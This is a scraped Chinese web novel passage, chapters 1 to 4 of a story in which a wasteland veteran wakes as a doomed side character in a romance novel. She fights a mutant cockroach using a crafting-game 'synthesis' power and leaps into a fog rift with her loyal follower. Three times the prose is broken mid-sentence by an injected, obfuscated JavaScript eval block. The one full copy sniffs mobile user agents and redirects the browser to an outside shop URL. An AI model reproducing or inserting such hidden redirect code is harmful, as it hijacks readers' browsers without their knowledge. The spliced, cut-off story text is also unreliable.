《在垃圾场我靠合成登神》 1. 眼前一黑又一黑的穿越 新历301年第166天，逐日之城。太阳照常自西边升起。 “呜呜呜小姐小姐你不要死啊……” 尖锐的哭声硬生生切入大脑，意识在撕裂般的痛苦中昏沉，庞大的陌生记忆闯入脑域，神经隐隐抽痛。 都郁忍无可忍地醒来。 “小姐？！” “嘘。” 哭声制造者被捆得像麻花，正一边哭一边朝自己蛄蛹过来，红色短发在地上蹭得乱七糟八。对上视线的一瞬她瞪大眼，嘴一瘪又要开展噪音攻击。 都郁眉头跳了跳，冲她做了一个嘘声的手势，声音出去了，手没动，这才发现自己也跟红毛一样被捆得严严实实。 谁趁自己睡着偷袭？不是，活人不剩几个了还搁着内斗呢？ 而且好饿。饿得像三天都没吃饭了，她觉醒异能后很久没这么饿过了，就算被阴了谁敢让她饿着？ 压下饥饿引起的躁动，都郁舔了舔后槽牙，整理脑内突然涌出的大片记忆，一个匪夷所思但又合情合理的事实摆在面前： 她已经死了，但还没完全死。 她竟然穿进了小说《真假千金：总裁囚爱99次》中，变成了作死后真的死了的炮灰女配都郁。 重捡一条命当然是喜事，但得活着躲过高空坠物，才能吃到天上掉下来的煎饼。 结合原主的记忆和小说剧情，现在原文男主女的狗血爱情故事还停在“分分合合分分分分”的阶段，原主已经作死成功，等着领盒饭了。 她陷害女主被当众抓获，男主命人将她驱逐到下城区外的迷雾垃圾场中，在书中世界，这是比死刑更可怕的惩罚——离开文明的庇佑，进入迷雾，直视里面可怕的变异生物和堕落怪物，最后在变异生物嘴下凄惨地死去。 要不人家能做男主，他非常懂得给反派补刀的重要性。原身异能被废，行动收租，他还派了两个B级异能者来监视自己，必须要看着原身死了才能离开。 不过高阶异能者的肉比原身有吸引力得多，男主下属在垃圾场遇到了强大的变异生物攻击，仓促应战后随手将两人丢在了这里。 啧，好久没被人这么小看了。 都郁压下脑海中没时间细看的记忆，环顾一周，无数垃圾旧物堆叠如山，连绵至视线尽头。灰色雾气在阳光下如冰雪般快速消融，苍白阳光在光滑表面不断弹射，刺得人睁不开眼。 都郁眯眼确认了空中太阳的方位，眉心狠狠一跳，有种想揪着小说作者领子大骂的冲动——这狗血小说不仅感情线设计得简直一坨，男女主两个人愣是凑不出来半张嘴，就连世界观都要整个大的。 可能寻常的都市爱情满足不了作者想撒狗血的心，作者“观书人”不仅给小说加了没什么用的赛博朋克背景，还“别出心裁”地引入了克系元素。 在这个世界里，除了文明之火尚存的城市，剩下的区域中弥漫着诡异的灰雾，灰雾笼罩区域充满了扭曲和异变，有人仅仅只是看到灰雾就精神崩溃变成了疯子。 太阳升起后，笼罩世界的灰雾消散，但这不意味着安全。通向迷雾世界的空间裂隙会在任何地方张开。那些裂隙通向更加危险的迷雾世界，里面除了变异生物，还有更可怕的畸变，乃至堕落生物的存在。 都郁看着百米外不断扩张的黑线眼皮直跳，尽管不知道那是不是传说中的“迷雾裂隙”，光从它散发的气息判断，那黑线就决不是什么好东西！ 前有男主派来的高级异能者，后有不断扩展的诡异黑线，原身干的事有这么天怒人怨吗？ 空中那轮熟悉又陌生的发光体移动得飞快，光芒洒在皮肤上有如针刺。都郁心中莫名涌上些许不安，这是她在废土闯荡几十年的战斗经验在预警。 红毛在都郁“嘘”后就一直没开口，只努力蹭到了都郁身后，费劲地割着她手腕上的绳子。不过那绳子掺入了特殊材料，红毛连牙都用上了才弄了个非常小的豁口。 没那么多时间了，都郁向身后努力咬着绳子的红毛，找出她的名字：“田一诺，我的绳子里掺了特制的生物材料，咬开太慢了。你找几片尖的金属碎片来！” 田一诺是原身的跟班，从小被洗脑得对原身言听计从，跟着原身一起被放逐。可能因为她不是主犯，她身上的绳索不是都郁那种越挣扎越紧的特殊绳索，还能蛄蛹着移动。 “找到了！小姐你等着我来救你……” “给我，先割你的。” 都郁带动全身肌肉，艰难转身，用被绑在身后的双手接住田一诺翻找来的金属碎片，就要够着去割后者身上的绳子。 “小姐！怎么能让您帮我……” “听我的，你的绳子好割断，帮你割完你再来帮我，这样效率更高。” 不知道田一诺平时都是怎么和原身相处的，都郁仔细解释了几句，田一诺都犹豫不敢上前。她一用命令的语气，田一诺抖了一下，抿着嘴凑近。 田一诺翻出来的金属碎片还挺锋利，都郁试探着用指腹摸了摸碎片边缘，脸颊鼓起，深吸一口气。 原身的身体条件和自己很像，只是没有经过长时间的训练，又饿了一整天，肌肉酸软根本使不上劲。 都郁闭着眼感应精神空间，没多久意识就沉入虚无中的某个角落。她的精神力还在，但异能消失了，原本精神空间中异能核心的位置上，出现了一个虚无的空洞，正缓缓吞噬着精神力。 精神空间的问题等之后再解决。都郁豁然睁开眼，精神力一瞬间澎湃涌出。 都郁手臂肌肉绷紧，快速抬手，碎片边缘都似蒙上一层浅紫色光晕，直接一口气斩断绑住田一诺手腕上的绳索。 “小姐，你，你好厉害！你什么时候学会的精神力外放……” 精神力是催动异能的，精神力越高，异能伤害性就越大。像都郁这样不用异能，单纯外放精神力，也是一种精神力的运用。 这种用法效率很低，但都郁没办法，异能消失，她只能用最原始的解决办法。 手部解开接下来的就轻松多了，田一诺配合着都郁割完身上的绳子，接过都郁手中的金属片，没割几下险些一滑割到都郁的手腕。 “割绳子也是要有技巧的。” 都郁看不见身后，也能听出来田一诺割得不是很顺利，奈何解释了几句她都听不太懂，只能选了最笨的方法： “外放精神力总会吧？把精神力凝聚为一点……” “啊，我、我还没学会……” 身后传来一声讪笑，都郁总算明白刚刚割绳子时她怎么那么惊讶，原来异能者基本功的精神力外放还能有人学不会。 一个记忆碎片恰好涌上，都郁无语地发现，原身选择资质平庸的田一诺做跟班的原因——竟然是她和原身一样，都学不会精神力外放这个基础技能！ 废柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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都郁顾不得解释，一把拉住田一诺从车窗钻入车内，一手捡过一根两米长的废弃金属棍。 “轰——” 变异蟑螂重重砸在废弃悬浮车上，发出轰隆巨响，车体肉眼可见地扭曲了一瞬。都郁心中的庆幸刚浮起一瞬，就听见“哗啦”一声，车窗破碎，挤进来一只硕大狰狞的头颅！ 那变异蟑螂想挤进来！眼见车窗处的金属开始变形，都郁头皮一紧，攥住金属棍朝变异蟑螂的一只眼睛捅去。 变异蟑螂复眼里闪过冰冷的光芒，竟退了出去，上颚开合咬住金属管向后使力，这蟑螂竟有了智力，它想把自己骗出去！ 都郁瞳孔骤缩，但是捆住的双脚严重影响了平衡，她不受平衡地向前倾，身体即将跌出车窗！ 都郁心一横，上臂使力，硬生生掰弯金属管，卡在车窗止住颓势，变异蟑螂的头颅倏然靠近，口器眼见就要咬住都郁的头颅—— 就在这时，都郁物理眼前一黑，什么也看不见，一道几乎占据了全部视野的光屏在半空中展开！ “锵锵锵锵！您的智能管家166闪亮登场！恭喜玩家登入本游戏，让我们用合成之力，一起建造更美丽的世界吧！左括号比心右括号。” 都郁额头青筋暴起，出现了，传说中穿书者人手一份的金手指。 可为什么偏偏是这个时候？！ 2. 所谓原汤化原食 第二章 “嘶——” 都郁被田一诺扑倒，在车内翻滚两圈，头狠狠撞上像是座椅似的凸起，眼前发黑，僵直了数秒才将思绪拽出管家166发送的信息洪流。 哐当！ 变异蟑螂似乎在攻击车体残骸，都郁站不稳，后脑勺又重重磕在车椅上，她却顾不得其他，在意识中不可置信地质问：“你这个合成游戏现在一点用都没有？” [也不能这么说啦。] 那见鬼的东西声音竟然听起来有些不好意思，[虽然现在只有三次试用的合成机会，但只要提供足够的能量解锁核心建筑【祭坛】，游戏将开放更多精彩内容哦~] 都郁深吸一口气，命令166战斗状态中没有紧急消息不要来打扰自己，捡起一根长棍支在地上，核心发力，勉强在车体摇晃中保持平衡。 冰凉液体划过脸颊，衬得苍白的唇越发没有血色，都郁冷静环顾四周，分析战斗局势。 原主住在安全的上城区，从没和变异生物战斗过，但从刚刚的接触就能看出，这只近一人高的变异蟑螂，拥有和外表同样骇人的战斗力。 都郁虽然有废土三十多年的生存战斗经验，但换了一个虚弱且没有锻炼过的身体，身边还跟着一个战斗力只勉强高过原主的菜鸟。 更别提身上还有“绳索束缚”的debuff，都郁视线在车厢内逡巡一圈，悲伤的发现除了刚刚被蟑螂夺走的长棍，能称作武器的只有手中的用来做拐杖的长棍…… 悲伤只存在了一瞬就被清空，都郁随手抹掉脸上的血，不断思索破局的办法。不过是换了个身体，眼下的情况在都郁经过的危险事件中连前十都排不上，还远远没到放弃的时候。 还有不靠谱游戏赠送的三次合成试用机会！ 都郁紫眸微亮，顺着刚刚的感觉召唤出面板，看向界面中唯一亮起的选项—— 【普通合成】：消耗三单位属性相同的材料，合成一单位普通合成物，该合成物将在基础物资的属性中随机选择某一要素的上位要素。 （使用次数3/3） （普通合成解锁条件：拥有核心建筑【祭坛·不入流】） 过去的游戏经验让都郁很快理解了普通合成的使用条件及方式，说白了，就是消耗三个同类事物，合成后的合成物将获得随机提升。 “田一诺，帮我抵挡它一会儿！” 都郁将“拐杖”甩给田一诺，失去平衡跌坐在地，一手抓住深陷皮肉，几乎要勒到骨头的绳子，在意念中喊了一声：“普通合成！” [叮咚，检测到4.6单位超纤弹力绳，是否进行一次普通合成？] [贴心提示：游戏需要玩家爱的投喂~将多余材料喂给祭坛，将有概率提高合成物品级哦~] 166说完，光屏中间浮现出一个圆坛形状的建筑物，圆坛左边堆着一堆绳索，右边是一个不断旋转的问号，所有的图像都是由彩色像素点构成。 左右剩下的材料不够支撑下一次合成，都郁无所谓地在圆坛中间浮现的“是否进行合成”的选项下选了是。 都郁腿脚一松，腿上深深勒进肉中的绳索像是被什么像素擦擦过，以肉眼难以捕捉的速度化为像素点消失。 都郁耳边传来“嘟”的一声，一条泛着淡淡金光的绳子掉落在手中。都郁松了口气，一手揉捏酸麻的肌肉，一手试探点击金绳，得到了金绳的信息。 【合成物名称：妈妈我出金了之绳（改名次数1/1）】 【备注：一发入魂！倒霉玩家撞大运合成出的高级绳索】 【等级：C（平平无奇的高级绳索，自带金色伪装，只有穷鬼和非酋才会把它当成好物）】 【使用说明：针对C及C级以下目标，大喊一声“呔”后甩出绳索，对锁定目标获得必中效果；击中目标后，使用者精神力数值大于目标，目标将获得最少10s僵直效果；精神力数值小于目标，目标将获得强制3s僵直效果，附赠嘲讽buff（持续时间：30min）】 【使用次数：10/10】 忽略括号中恶意满满的嘲讽，这东西用得好会是胜利的关键！ 都郁将金绳一端绕在手上，正要去帮和变异蟑螂躲猫猫的田一诺，就见钻进车窗的蟑螂头颅上，触须动了动，竟退了出去。 都郁刚扶起田一诺，耳边传来“哐当”一声巨响，整个车体都在颤抖。都郁心头浮现不妙的预感，试探着从裂口车窗瞄了一眼，神色大变，“跳车！” “可是蟑螂还在外……” “来不及了！它想把我们推下去摔死！” 都郁一手拎着田一诺的衣领，一脚蹬在车椅，借助反震从另一个方向的车窗钻了出去！ “轰隆！” 悬浮车残骸在变异蟑螂的撞击中本就摇摇欲坠，此刻被从高处推下，终于在自由落体中四分五裂地坠向自由。 都郁来不及后怕，眼前飞速浮出一个黑影，翅膀“窸窣”摩擦中高速逼近，变异蟑螂发现了她们的行踪！ 现在可没有一个坚固的车体替她们抵挡这可怕的冲击了。都郁瞳孔骤缩，顾不得想其他，大臂发力抡起金绳：“呔！” 这一刻，世界好似静止了，静得都郁能听身旁人胸膛中心脏惊恐跳动的急促“咚咚”声。一个金色十字出现在变异蟑螂头顶，都郁顺着涌上来的明悟，眸光一凝，金绳如箭般穿过十字，“咚”的一声敲在变异蟑螂头上。 【检测到使用目标，精神力数值检测中（不会吧不会吧，不会有人精神力还没一只蟑螂高吧？？？） 【检定结果：99/1，大成功！】 【僵直效果判定：60s（好运的倒霉蛋，趁这个时间快逃命吧！）】 合成游戏没有骗她，金绳确实有效，变异蟑螂像被人点了穴，直直从空中坠落，复眼暗淡没有神采，就连腿“咔嚓”摔断了一根都没有反应。 不过她不打算听游戏的建议，不是面子问题，而是她们所处的垃圾堆四周一览无余，没有载具，她们六十秒能跑多远？ 金绳使用次数有限，面对拥有飞行能力的变异蟑螂，逃跑没有任何用，她们必须解决掉这只变异蟑螂，只有战斗才能搏来一线生机！ “小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“小田，你做的好啊！快，我们需要更多的蟑螂腿！” 小姐扬起灿烂的笑容，那张苍白的脸上都浮现出一丝生气。田一诺被小姐夸得找不到北，听小姐的话拿着刚刚的“武器”挨个把蟑螂的腿敲了下来，这才后知后觉地发问： “好吓人，小姐你要这些脏东西干什么？” 连同田一诺手上的，都郁将27根蟑螂腿收集起来，越看越满意。合成后比变异蟑螂壳硬度还高的，何必费力去试，自己眼前不就有吗？ 都郁思考片刻，分出三根蟑螂腿，指向剩下的，在意念里打开光屏：“普通合成！” 光屏似乎卡顿了一下，延迟了几秒才展开，熟悉的冰冷机械音再次出现，不过都郁不知为什么从中听出来几分一言难尽： [叮、呃、叮咚……，检测到24单位变异蟑螂腿，是否进行一次普通合成？] “是。” 已经合成过一次，都郁轻车熟路地点击确认，看着变异蟑螂腿消失，像素点构成的圆坛似乎不情愿地顿了一下，才在都郁脚下吐出一根棍状物。 那棍状物长约一米五，前端微曲，通体漆黑，泛着金属的光泽，都郁搓搓手捡起它，顿时眼前一亮：能破防变异蟑螂的武器，有了！ 3. 建…… 【合成物名称：飞天大螂棍】 【备注：除了坚固一无是处的棍子，丧心病狂废土客出品的邪恶武器，你绝对不会想要知道它的材质是什么】 【等级：C】 【使用说明：在物理攻击中附赠随机（1~1000）点精神冲击伤害，对虫类变异生物每三下必产生暴击效果；持有者虫类变异生物仇恨度＋10】 【使用次数：10/10（称号[丧心病狂废土客]持有者，可以投喂制作材料恢复使用次数）】 【评价：一根似乎具有活着特性的棍子。】 【叮咚，恭喜玩家激活称号[丧心病狂废土客]lv1,声望＋1】 这次的合成物说明多了一个评价，都郁扫了一眼没时间多想，左手抽了即将苏醒的蟑螂一绳，右手抓住黑棍底端，重重敲在变异蟑螂头部。 【精神力数值鉴定中……】 【僵直判定：25s】 【当前变异生物仇恨值＋10】 金绳造成的僵直效果越来越短了，都郁咬着牙，瞄准变异蟑螂头部砸出的凹陷，一下一下重重砸下去。 【暴击＋1】 【暴击＋1】 …… 都郁不知道砸了多少下，连金绳的使用次数都只剩下了三次，变异蟑螂头部被砸凹了一个大坑，黑棒顶端沾满了红白碎屑，才终于看见变异蟑螂抽搐了几下，耳边传来管家166的播报： 【恭喜玩家成功击杀E级变异生物，解锁背包，是否将战利品收纳到背包中？】 “小、小姐，这蟑螂真的死的了？” “死的不能再死了。” 都郁随手点了拒绝，抹掉脸上的肉沫，冲周一诺比了个大拇指，只是不知道为什么后者的表情看上去更害怕了。 “小姐，这里好危险，我们快走吧，让老爷来接我们……” 周一诺拽了拽都郁的衣角，看着变异蟑螂的尸体害怕得打了个哆嗦，却看见今天好像变了个人一样的小姐擦掉黑棍上的血沫，笑容里透露出些许血腥气： “不，我们走不了，不会有人来接我们。” 在小说中，原主只是个等级不高的小炮灰，主要戏份就是在女主真千金身份还没暴露，四处打工的时候出现在各种场合嘲讽女主，在女主被豪门认回后直接被男主发配到垃圾场等死。 原身父亲才是小说真正的反派，前期让男主吃了不少亏。书中，边绍言派了两个异能者在垃圾场守着原身，好逼迫原身父亲交出密钥。结果原身父亲理都没失踪的原主，反手接回了五岁的私生子。 气得边绍言下令让下属拍下原主被虐杀的视频，好在原身父亲八十六岁寿宴上，当着所有宾客的面播放。 只不过那两个下属在准备执行任务的时候，遇到了强大变异生物的袭击，不得已将原身和她的跟班丢在了原地。等解决危机回来时，原地只剩下两具被变异生物啃噬殆尽的尸体。 想到原身的死法，都郁有些牙酸，“做人失败就算了，怎么做反派还能失败？” 都郁感慨颇深地叹了口气，随手捡起金属片打磨黑棍，一手拍了拍变异蟑螂的尸体。在意念中喊确定收入背包后，变异蟑螂的尸体也如合成材料一样化成黑色像素点消失。 “小田，你愿意和我做反……咳，做一番事业吗？” “！” 周一诺眼睛倏然睁大，刚刚在战斗中，兵荒马乱的，她没注意到都郁都是怎么掏出那两件物品的，可现在变异蟑螂的尸体就在她眼前消失，这违背常识的一幕让她瞪大眼睛。 都郁仔细盯着田一诺，对方脸上表情的丰富让她忍不住攥紧了黑棒，然而她等了半天，周一诺就憋出一句： “小姐，你好厉害啊！” 连她是怎么做到的都没问，都郁发现周一诺的表现竟然不是伪装，顿时有种跟傻子斗智斗勇的挫败感，抽了抽嘴角：“你先回答我的问题。” “问题，什么问题？” 周一诺先是一愣，随后激动起来，“愿意！我当然相信小姐！夫人当初可是救了我的命！我当时我就发誓要一辈子追随小姐！” 都郁头疼地起身按住手舞足蹈的周一诺，指向不远处，似笑非笑：“如果做事业的第一步，是进入迷雾裂隙呢？” 在都郁手指的方向，那道凭空出现的黑线不断扩张，已经张裂成了一道扭曲的裂隙，那裂隙边缘翻滚着不详的灰雾，裂隙中间是迷离扭曲的乱流，看一眼就觉得目眩神迷头胀脑痛，每一个细胞都在尖叫着逃离。 迷雾裂隙中存在比变异生物可怕万倍的怪物，内部更是扭曲了时间和空间，踏入者稍不留神就会被虚无吞噬。 更可怕的是，迷雾裂隙出现的位置完全随机，持续的时间也有长有短，灰雾升起前迷雾裂隙会随机出现在任何一个角落。 曾经有一道迷雾裂隙正好张开在一队探索员脚下，等紧急派出的救援队赶到，迷雾裂隙和探索队早已消失得无影无踪。那一队精英学者再也没出现在文明的视线中。 现在都郁要求田一诺跟自己进入迷雾裂隙，在拥有常识的人听起来这无疑于自杀，还是自杀排行榜中最痛苦死法榜的榜一。 但都郁估计自己现在的战斗力恐怕只有C或D，完全没能耐解决两个B级异能者。 而且原身的死活或许无足轻重，但男主边绍言最好面子，报复心极强。他下属也知道，原文中两人尽力收拢了原主的骨头，证明原主确实是死了，却还是被男主痛斥了一番。自己想要摆脱小说男主的追杀，只有进入迷雾裂隙一条路。 虽然小说极力渲染迷雾裂隙的恐怖，以此突出男主进入裂隙给女主找药的危险，赞美爱情。 但都郁翻过小说，知道还是有一群要钱不要命的迷雾猎人，专门进入迷雾找寻宝物。没道理他们能进，自己不能进。 但田一诺只是普通人，她胆子很小，从小被灌输的教育就是绝对不要靠近迷雾。 都郁审视地盯着田一诺的表情，人是群体性动物，但多年废土生存给了她充足的教训，她不需要不听话的队友。 尽管正常人都会觉得她疯了，但她有独自一人生存的能力，独行侠不需要…… “啊，好啊。” 田一诺像是思考一个重大问题终于得到了结果，如梦方醒地点点头，眉头很快皱起，“但是迷雾裂隙中会不会很冷啊？我们需不需要准备一些厚衣服？夫人说女孩子最好不要受凉……” 看着真的开始寻找防寒外套的田一诺，都郁真的想掀开她的头盖骨看看里面是什么结构，这是冷不冷的问题吗？生死大事被她一说变得跟郊游一样。 “我说什么你都听？” “当然，小姐说什么都是对的！” 都郁看着田一诺脸上的憨笑忍不住在心里“啧”了一声。忠诚是个好品质，只是往往会所托非人。原主选择田一诺的原因很简单，那就是她不会抢自己的风头。在原身的跟班中，田一诺的待遇是最差的。 可在小说中，原身的阴谋败露，众叛亲离的时候，身边跟着的却只有一个她平时最看不上的跟班。 越回想原主和田一诺的相处场景，都郁看她的眼神越像看一个傻狍子，没去阻止她四处欢快地捡垃圾。 都郁凝神，在意念中打开游戏面板。面板的中间还是灰蒙蒙的，看不清东西。面板左边从上到下依次亮着【普通合成1/3】、【称号】、【背包】三个按钮。 都郁打开【背包】，跳出十个排列在一起的橙色小方格，第一个方格里有一个蟑螂的像素图标。点击图标，跳出【丢弃】【分解】【普通合成（缺乏材料）】三个选项。 合成欠缺材料，都郁点击分解，格子里的蟑螂像素画消失，变成一个红白相间的像素立方体，格子右下角多了一个数字“6”。 可能因为是游戏分解来的产物，这小立方体也有物品介绍—— 【名称：变异兽肉】 【备注：剧毒，可以食用，但吃下去一定会死】 【等级：D】 【使用说明：对变异生物有奇特吸引力，也许一些毒药配方会用的上】 【状态：新鲜（将在5自然日后转变为不新鲜）】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253744|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>都郁看了眼兽肉的状态，游戏背包不是万能的，在游戏里，所有食物都有“新鲜”、“不新鲜”、“即将腐烂”、“腐烂”、“恶臭发酵物”五个状态，其中只有吃下“新鲜”状态的事物会食物体力值，吃下“即将腐烂”、“腐烂”状态的食物会扣血量。 至于“恶臭发酵物”，游戏中没有味觉，但当时都郁处于好奇，在背包里囤了一个，结果就背上了“恶臭”的debuff，每秒都会扣血量，还会增加仇恨度。 这变异兽肉虽然有剧毒，但还是拥有食物的属性，是不是说明只要能解毒，这玩意其实也能吃？ 都郁把这个想法记下，没办法，任何一个在废土中活了三年以上的人，恐怕都能解锁一个“你怎么这都吃”的称号。为了生存，都郁在最艰苦的那几年真的吃过土，蟑螂肉而已，都郁真的不嫌弃。 “来，帮我把这个撕成块。” 都郁退后一步，刚刚站的位置凭空出现一块约西瓜大的肉块，红白相间，看上去还有点诱人。 “小姐，这是什么？我们今天的晚饭……呕——” 田一诺看着都郁凭空变出肉块，眼神疑惑了一瞬又变得清澈起来，欢快地捡起一条扁金属条切向肉块，肉块被切开的一瞬间一股浓郁的恶臭弥漫了出来。 连习惯了废土恶劣环境的都郁眉头都忍不住跳了跳，撕下衣角，团成布条塞在鼻子里，这才也捡了一根金属扁条，两人一起将肉块剁成肉沫。 都郁把金属条一横，散发着恶臭的肉沫被均匀涂开，臭味一下更浓郁了几分。 田一诺胆战心惊地看着，小心翼翼地开口：“小、小姐，你是想吃饺子了吗？” 都郁险些被她问的一趔趄滑下去，没好气地看了她一眼，“还记得我们是怎么来这里的吗？这是用来给他俩交差的。” 周一诺有听没有懂，挠挠头跟着都郁走到迷雾裂隙边缘。都郁拍拍她的肩膀，一本正经地开口：“让你以前学点管理学你不学，现在不懂了吧，花香蕉的钱只能请到猴子。” 那两个异能者肯定能看出这些血肉组织不是人体的，但那又怎么样？太阳已经升起来了，这里危机四伏，她们难道还能顶着落入迷雾裂隙的危险找她俩这个“死人”吗？倒不如顺着她的布置糊弄过去，都能交差。 都郁站在迷雾裂隙的边缘处，回想起三十年前和舍友庆祝即将转正，世界末日来临前最后的那个晚上，发出一声充满唏嘘的感慨： “打个工而已，玩什么命啊。” “哈？” 田一诺惊诧的声音还在空中飘荡，都郁挽着她的手，一起跳入了裂隙中。灰雾在空中溅起半米高的雾浪，最后在阳光的照耀下像泡沫般消失，黑沉的裂隙好似从没存在过一般悄然闭合，垃圾场内再无两人踪迹。 五分钟后。 穿着厚重防护服的两道人影出现，为首那人挥手驱散熊蜂大小的变异苍蝇，捡起地上边缘略微变质的肉沫，脸色难看地沉默了几秒。 “嘶……” 身后那人左臂不自然地扭曲，似乎在驱赶变异苍蝇群时牵扯到了伤口，下意识发出一道短促的冷哼。 站在前方的人两颊肌肉绷紧，看着空间存在的扭曲痕迹，手指攥紧碾碎肉沫，沉声开口：“那两个女人已经被变异兽吃了。” “啊……是！” —— 灰雾涌到眼前又在下一秒消散，都郁大脑微微眩晕，眯眼打量迷雾裂隙内部。 这里和垃圾场很像，到处都是散落的残骸碎片，只是看电子产品的型号有些老旧。抬眼望不到天，像是有人像做蛋糕般，一层又一层地用灰雾涂满天空。 两人似乎是整个裂隙内唯一的颜色。都郁打量着内部，不期然对上一双猩红的眼睛。 她发现了一头变异生物。 变异生物也发现了她！ 【叮咚！检测到特殊能源，游戏储能中！】 【满足特殊建筑[祭坛]建造条件，是否建造……建造中……功能[普通合成]正式开放！】 【游戏载入完成！恭喜玩家登入游戏！】 4. 游戏正式登入 第四章 “啊！” “砰——” 田一诺吓得抱头蹲下，自然就没看见就在那怪物的牙咬到都郁的前一秒，都郁快速从虚空中掏出什么按在地上，淡紫色的光芒以她为圆心扩散，像是在这灰白的世界里开出一朵直径五米的花。 【特殊建筑[祭坛]建造中，预计建造时长：30min】 【建造过程中，直径五米内免费开启祭坛庇佑效果，生成祭坛保护罩，隔绝任何物理、精神攻击；建造过程中，玩家不可离开祭坛庇佑范围】 【祭坛建造完成后，发放新手大礼包、游戏正式开始】 一条条弹窗划过，简而言之，这没用的游戏总算有了点用，给了限时的防护罩，也就是30min的无敌期。 这祭坛生成的防护罩范围由都郁掌控，不过目前已经开到了最大，没什么调整的必要。除了范围，都郁还能增添防护罩的庇佑对象，只有庇佑对象才能进出防护罩。 这防护罩已经智能地将在她身边的田一诺加入了庇佑对象名单，都郁给了她了离开防护罩的权限后，把黑棒塞给田一诺。 “那怪物进不了，你小心一点杀了它。” 田一诺握着武器，眼睛里的疑惑就差写出“就我？” 但她这个人最大的特质就是听话，发现怪物进不来而自己可以用武器打到它后，她顿时兴奋起来，抡着黑棒就往怪物头顶敲去，一边敲还一边壮胆似地计数。 那怪物智商不高，也可能是田一诺的表情太过挑衅，愣是没走，挨一棍子就大吼一声，愤怒地用爪子拍击防护罩，被反震震得眩晕时又挨田一诺一棒。 就这样它吼一声田一诺就打一棒，忽略诡异的画风这场面还怪和谐的。 这黑棒都郁在攻击变异蟑螂时就用剩下的蟑螂腿、打下来蟑螂组织碎片补充了耐久度，给田一诺的时候耐久度已经回到了9，看这变异兽不聪明的样子应该够用了。 确认田一诺能应付的来，都郁将全部精力放到新解锁的游戏界面中。 之前灰蒙蒙的界面变成了一个旋转的气旋，都郁一点，变成一个陌生中带着点熟悉的界面。 说是熟悉，是因为眼前的界面和她之前在废土玩的小游戏的开场动画一样。初始剧情是典型的小游戏剧情，主人公破产后，所有财产都用来还债，正无家可归时继承了一个偏远亲戚的遗产，获得了一栋破旧的古堡。 古堡分为多个区域，每个区域有不同的合成游戏和合成任务，当玩家完成所有的合成任务后，该区域就会在神奇的“合成”之力的帮助下焕然一新。不同的区域解锁后还有不同的奖励和产出，解锁全部区域后就会解锁新的建筑。 都郁当时还吐槽过这游戏玩法太单一，换新建筑也不过是换汤不换药。不过在多年天灾人祸的摧残下，像是游戏小说这类最先被抛弃的娱乐产品剩下的不多。 尤其以都郁的蹩脚计算机水平，小说还行，这个合成小游戏是她唯一传输出来的电子游戏。因此尽管玩法单一，都郁还是从头到尾通关了好几次，就连尴尬的剧情都没跳，开场动画算是游戏制作组为数不多制作得比较精良的，都郁闲着没事看了有五六遍。 因此都郁一眼就从熟悉的开场动画中看出了不同。还是熟悉的像素风动画，但开场动画由金发主人公走入古堡，变成了紫色头发的小人与蟑螂打斗，然后跳入了边缘灰，中间黑的缝隙中。 自己穿书后的经历，变成了游戏剧情的一部分！都郁响亮地“啧”了一声。 《真假千金：总裁囚爱99次》这本书虽然人设剧情狗血，但因为情节紧凑，作者花了大篇幅的笔墨介绍了与主线毫无关系的赛博社会背景和异能者战斗，所以虽然槽点满满，但在某些角度写的很有趣。 都郁闲着无聊的时候翻了三四遍，在一众她搜罗来的小说里算是翻看得比较频繁的。因此都郁记得很清楚，这本书和安装了合成游戏的电脑是在同一片废墟里发现的！ 这绝对不是巧合，而且这游戏似乎也毫不掩饰这一点，就差把你的穿书是我推动的这句话写在明面上了。 实在有趣，都郁用精神力戳戳装死的166，“喂，你的目的是什么？” 166沉默了一会儿，见都郁颇有你不开口我就不走的气势，才弱弱地开口： 【166是玩家的智能管家，任务就是帮助玩家完成任务，获得更好的游戏体验~】 “你什么都不说，我怎么知道这游戏会不会害我？” 【不会的，166是因为玩家而存在的，是玩家游戏过程中的好帮手，166永远站在玩家这边！】 都郁听出它的言外之意：“你和游戏不是一伙的？” 166又开始装死。 它的沉默已经能说明一些东西了。都郁愉悦地摸摸下巴，这游戏之前也是有一个管家的，但只是一个无情地给主人公吹彩虹屁的工具人，偶尔发点小任务，根本不像166这么生动。 166这里得不到别的信息，都郁见好就收，熟练地用精神力点击屏幕中的像素风小裂隙，停滞的动画再次播放，镜头缓缓拉近，裂隙越来越大，直到虚无的黑色占满屏幕，一个拥有紫色头发的像素小人跳了出来，头顶一个对话框。 【请为该角色命名】 “你今天吃了吗”、“锅之大谁来填满它”、“有朋自远方来不亦饿乎”都郁接连填了三个常用的id，都被系统以“该昵称不符合游戏命名规范”为由拒绝。 都郁眉头一挑，就要继续填，游戏界面却一闪，命名处的横线上“嘟嘟”两个字自动跳了出来，系统像是怕她修改般飞快通过。 嘟嘟？ 因为“都”“郁”两个字字形本来就很像，连在一起就更不容易分清，在被叫错一次后“都都”就变成了她的外号，在她朋友间传来传去不知道什么时候“都都”又变成了“嘟嘟”。 她当初登录游戏时，想着游戏有好友系统可以一起玩，就填了“嘟嘟”这个外号，可惜后来…… 都郁思绪正有些发散，输入后顶着“嘟嘟”名字的像素小人原地蹦跶了几下，掏出一个像素礼花，“嘭”“嘭”几个烟花后新的弹窗跳了出来： 